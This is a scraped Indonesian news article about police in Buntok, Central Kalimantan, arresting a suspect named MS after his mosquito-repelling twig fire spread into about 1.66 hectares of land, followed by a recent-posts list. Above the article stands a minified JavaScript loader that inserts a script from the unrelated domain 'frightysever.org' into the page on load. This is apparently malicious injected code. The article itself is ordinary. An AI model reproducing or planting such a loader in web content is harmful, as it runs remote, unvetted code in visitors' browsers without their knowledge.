(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polsek Dusel Tangkap MS Terduga Pelaku Pembakaran Lahan


BUNTOK, Seorang pelaku pembakaran hutan dan lahan di Desa Sanggu, jalan Kumbang Bernaung, RT 004 RW 002, Kecamatan Dusun Selatan (Dusel), pada Sabtu (7/9) sekitar 13:00 Wib, berhasil diamankan polisi.

Kapolres Barsel Wahid Kurniawan melalui Kapolsek Dusel Ipda Abi Karsa mengatakan, Unit Patroli Dusel bersama dengan anggota BPBD Barsel melaksanakan patroli di desa Sanggu, jalan Kumbang Bernaung, pada saat itu menemukan lahan yang sedang terbakar. Setelah melakukan penyelidikan didapat informasi bahwa yang telah melakukan pembakaran lahan tersebut adalah MS warga kelahiran Tuyau. Petugas mencari dan mengamankan MS dan barang bukti ke Mapolsek Dusel untuk menjalani proses penyidikan lebih Lanjut.

“Saat melakukan patroli, petugas mendapati lahan terbakar dan berdasarkan informasi yang di dapat di lapangan, kita berhasil mengamankan MS sebagai pelaku pembakaran lahan tersebut,” kata Abi kepada Kanalkalimantan.com, Minggu (8/9).

Terduga MS saat diperiksa di Mpolsek Dusun Selatan. foto: polsek dusel

Lebih lanjut dikatakan Kapolsek, alasan pelaku membakar berawal dari membakar tumpukan kayu ranting kering bekas potongan kayu untuk mengusir nyamuk.

Namun api tersebut ditinggal oleh MS makan siang, sehingga api tumpukan kayu ranting kering tersebut merambat meluas ke lahan milik orang lain, sehingga mengakibatkan kebakaran yang dengan luas lahan kurang lebih 1,66 hektare.

“Jadi alasan pelaku berawal dari mengusir nyamuk dengam membakar tumpukan kayu ranting, yang kemudian ditinggal makan, kebakaran meluas hingga satu hectare lebih,” beber Abi.

Ditambahkan olehnya untuk pelaku masih dilakukan pemeriksaan Mapolsek Dusel dan apabila terbukti akan dilakukan penindakan secara tegas sebagaimana dimaksud dalam pasal 25 ayat (1) Jo Pasal 2 Ayat (1) Perda Propinsi Kalteng No. 5 Tahun 2003 tentang pengendalian kebakaran hutan dan atau lahan.

“Saya mengimbau kepada masyarakat agar jangan membakar hutan dan lahan selama musim kemarau ini, karena siapapun pelakunya, akan ditindak tegas,” tandas Abi. (digdo)

Reporter : digdo
Editor : Bie

 


Desy Arfianty

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

2 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

4 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

4 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

4 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

4 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

5 jam ago

This website uses cookies.